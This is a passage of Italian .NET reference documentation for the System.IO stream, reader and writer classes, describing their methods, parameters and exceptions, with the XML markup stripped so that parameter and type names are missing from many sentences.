buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Cancella in modo asincrono i dati di tutti i buffer del flusso, determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + Il flusso è stato eliminato. + + + Quando ne viene eseguito l'override in una classe derivata, ottiene la lunghezza in byte del flusso. + Valore long che rappresenta la lunghezza del flusso in byte. + Una classe derivata da Stream non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Oggetto Stream privo di archivio di backup. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene o imposta la posizione all'interno del flusso corrente. + Posizione corrente all'interno del flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, legge una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti. + Numero complessivo di byte letti nel buffer.È possibile che questo numero sia inferiore a quello dei byte richiesti se la quantità di byte disponibili è minore oppure che corrisponda a zero (0) se è stata raggiunta la fine del flusso. + Matrice di byte.Quando questo metodo viene restituito, il buffer contiene la matrice di byte specificata con i valori compresi tra e ( + - 1) sostituiti con i byte letti dall'origine corrente. + Offset dei byte in base zero in in corrispondenza del quale iniziare l'archiviazione dei dati letti dal flusso corrente. + Numero massimo di byte da leggere dal flusso corrente. + La somma di e è maggiore della lunghezza del buffer. + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte letti. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso e sposta in avanti la posizione corrente all'interno del flusso di un byte o restituisce -1 se si trova alla fine del flusso. + Cast di byte senza segno in un parametro Int32 oppure -1 se si trova alla fine del flusso. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la posizione all'interno del flusso corrente. + Nuova posizione all'interno del flusso corrente. + Offset dei byte rispetto al parametro . + Valore di tipo che indica il punto di riferimento usato per ottenere la nuova posizione. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la lunghezza del flusso corrente. + Lunghezza desiderata del flusso corrente in byte. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura e la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, scrive una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti. + Matrice di byte.Questo metodo copia i byte da nel flusso corrente. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero di byte da scrivere nel flusso corrente. + La somma di  e  è maggiore della lunghezza del buffer. + + è null. + + o  è negativo. + Si è verificato un errore dei / o, ad esempio possibile trovare il file specificato. + Il flusso non supporta la scrittura. + + è stato chiamato dopo la chiusura del flusso. + 1 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte scritti. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente del flusso e sposta in avanti di un byte la posizione del flusso. + Byte da scrivere nel flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura o è già chiuso. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Implementa un oggetto che legge i caratteri da un flusso di byte in una particolare codifica.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato. + Flusso da leggere. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con l'opzione specificata per il rilevamento dei byte order mark. + Flusso da leggere. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri specificata. + Flusso da leggere. + Codifica dei caratteri da usare. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri e l'opzione per il rilevamento dei byte order mark specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri, l'opzione per il rilevamento dei byte order mark e le dimensioni del buffer specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + Dimensione minima del buffer. + Il flusso non supporta la lettura. + + o è null. + + è minore o uguale a zero. + + + Inizializza una nuova istanza della classe per il flusso specificato in base alla codifica caratteri, all'opzione per il rilevamento dei byte order mark e alle dimensioni del buffer specificati. Facoltativamente mantiene aperto il flusso. + Flusso da leggere. + Codifica dei caratteri da usare. + true per cercare i byte order mark all'inizio del file; in caso contrario, false. + Dimensione minima del buffer. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + + Restituisce il flusso sottostante. + Flusso sottostante. + 2 + + + Ottiene la codifica caratteri corrente usata dall'oggetto corrente. + Codifica caratteri usata dal lettore corrente.Il valore può essere diverso dopo la prima chiamata a un metodo di , in quanto il rilevamento automatico della codifica non è completo fino alla prima chiamata a un metodo . + 2 + + + Cancella il buffer interno. + 2 + + + Chiude il flusso sottostante, rilascia le risorse non gestite usate dall'oggetto e, facoltativamente, rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene un valore che indica se la posizione corrente del flusso è alla fine del flusso. + true se la posizione corrente del flusso è alla fine del flusso; in caso contrario, false. + Il flusso sottostante è stato eliminato. + 1 + + + Oggetto che include un flusso vuoto. + 1 + + + Restituisce il carattere successivo disponibile senza usarlo. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono presenti caratteri da leggere o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal flusso di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo dal flusso di input rappresentato come oggetto oppure -1 se non sono disponibili altri caratteri. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, iniziando dall'indice specificato. + Numero di caratteri letti oppure 0 se alla fine del flusso non è stato letto alcun dato.Il numero sarà minore o uguale al parametro , a seconda che i dati siano disponibili o meno all'interno del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Indice di da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O, come la chiusura del flusso. + 1 + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal flusso corrente e restituisce i dati come stringa. + Riga successiva del flusso di input oppure null se viene raggiunta la fine del flusso di input. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge una riga di caratteri in modo asincrono dal flusso corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del flusso oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso. + Parte restante del flusso come stringa, dalla posizione corrente alla fine del flusso.Se la posizione corrente è alla fine del flusso, restituisce una stringa vuota (""). + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso in modo asincrono e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e la fine del flusso. + Il numero di caratteri è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto che scrive i caratteri in un flusso con una particolare codifica.Per esaminare il codice sorgente .NET Framework per questo tipo, vedere Origine riferimento. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica UTF-8 e le dimensioni del buffer predefinite. + Flusso in cui scrivere. + + non è modificabile. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + + o è null. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + + o è null. + + è negativo. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + o è null. + + è negativo. + + non è modificabile. + + + Ottiene o imposta un valore che indica se scarica i dati del buffer nel flusso sottostante dopo ogni chiamata a . + true per forzare lo scaricamento del buffer; in caso contrario, false. + 1 + + + Ottiene il flusso sottostante che si interfaccia con un archivio di backup. + Flusso in cui StreamWriter scrive. + 2 + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + + + Ottiene l'oggetto in cui viene scritto l'output. + Oggetto specificato nel costruttore per l'istanza corrente o , se non è stata specificata alcuna codifica. + 2 + + + Cancella tutti i buffer relativi al writer corrente e consente la scrittura dei dati memorizzati nel buffer nel flusso sottostante. + Il writer corrente è chiuso. + Si è verificato un errore di I/O. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Fornisce un oggetto StreamWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive un carattere nel flusso. + Carattere da scrivere nel flusso. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una matrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere.Se è null, non viene scritta alcuna voce. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una sottomatrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una stringa nel flusso. + Stringa da scrivere nel flusso.Se è Null, non viene scritta alcuna voce. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere nel flusso.Se è null, non viene scritta alcuna voce. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono un carattere seguito da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una sottomatrice di caratteri seguiti da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una stringa seguita da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Implementa un oggetto che legge da una stringa. + 2 + + + Inizializza una nuova istanza della classe che legge dalla stringa specificata. + Stringa sulla quale inizializzare . + Il parametro è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Restituisce il carattere successivo disponibile senza utilizzarlo. + Integer che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Il lettore corrente è chiuso. + 2 + + + Legge il carattere successivo dalla stringa di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo della stringa sottostante oppure -1 se non sono disponibili altri caratteri. + Il lettore corrente è chiuso. + 2 + + + Legge un blocco di caratteri dalla stringa di input e fa avanzare la posizione del carattere di . + Numero complessivo di caratteri letti nel buffer.È possibile che sia inferiore al numero di caratteri richiesti se la quantità di caratteri non è correntemente disponibile oppure può corrispondere a zero se è stata raggiunta la fine della stringa sottostante. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Indice iniziale nel buffer. + Numero di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dalla stringa corrente e restituisce i dati come stringa. + Riga successiva della stringa corrente oppure null se viene raggiunta la fine della stringa. + Il lettore corrente è chiuso. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + 2 + + + Legge una riga di caratteri in modo asincrono dalla stringa corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di stringhe oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Contenuto dalla posizione corrente alla fine della stringa sottostante. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità della stringa. + Il numero di caratteri è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto per la scrittura di informazioni in una stringa.Le informazioni vengono archiviate in un oggetto sottostante. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il controllo di formato specificato. + Oggetto che controlla la formattazione. + + + Inizializza una nuova istanza della classe che scrive nell'oggetto specificato. + Oggetto StringBuilder in cui scrivere. + + è null. + + + Inizializza una nuova istanza della classe che scrive nello specificato e dispone del provider di formato specificato. + Oggetto StringBuilder in cui scrivere. + Oggetto che controlla la formattazione. + + è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Recupera l'oggetto in cui viene scritto l'output. + Encoding in cui viene scritto l'output. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di svuotamento asincrona. + + + Restituisce l'oggetto sottostante. + StringBuilder sottostante. + 2 + + + Restituisce una stringa contenente i caratteri scritti finora nell'oggetto StringWriter corrente. + Stringa contenente i caratteri scritti nell'oggetto StringWriter corrente. + 2 + + + Scrive un carattere nella stringa. + Carattere da inserire. + Il writer è chiuso. + 2 + + + Scrive una sottomatrice di caratteri nella stringa. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + Il valore di o è negativo. + ( + )> .Length. + Il writer è chiuso. + 2 + + + Scrive una stringa nella stringa corrente. + Stringa da scrivere. + Il writer è chiuso. + 2 + + + Scrive un carattere nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nella stringa corrente in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa un carattere seguito in modo asincrono da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa una sottomatrice di caratteri seguiti da un terminatore di riga in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa, seguita in modo asincrono da un terminatore di riga, nella stringa attuale. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Rappresenta un visualizzatore in grado di leggere una serie sequenziale di caratteri. + 2 + + + Inizializza una nuova istanza della classe . + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Fornisce un oggetto TextReader senza dati da cui sia possibile eseguire letture. + 1 + + + Legge il carattere successivo senza modificare lo stato del visualizzatore o dell'origine del carattere.Restituisce il successivo carattere disponibile senza leggerlo effettivamente dal lettore. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il lettore non supporta la ricerca. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal lettore di testo e fa avanzare di un carattere la posizione del carattere. + Carattere successivo del lettore di testo oppure -1 se non sono disponibili altri caratteri.L'implementazione predefinita restituisce -1. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che i dati siano disponibili all'interno del lettore o meno.Se viene chiamato quando non sono più disponibili altri caratteri da leggere, questo metodo restituirà zero. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del reader prima che il numero di caratteri specificato venga letto nel buffer, il metodo restituisce un risultato. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo 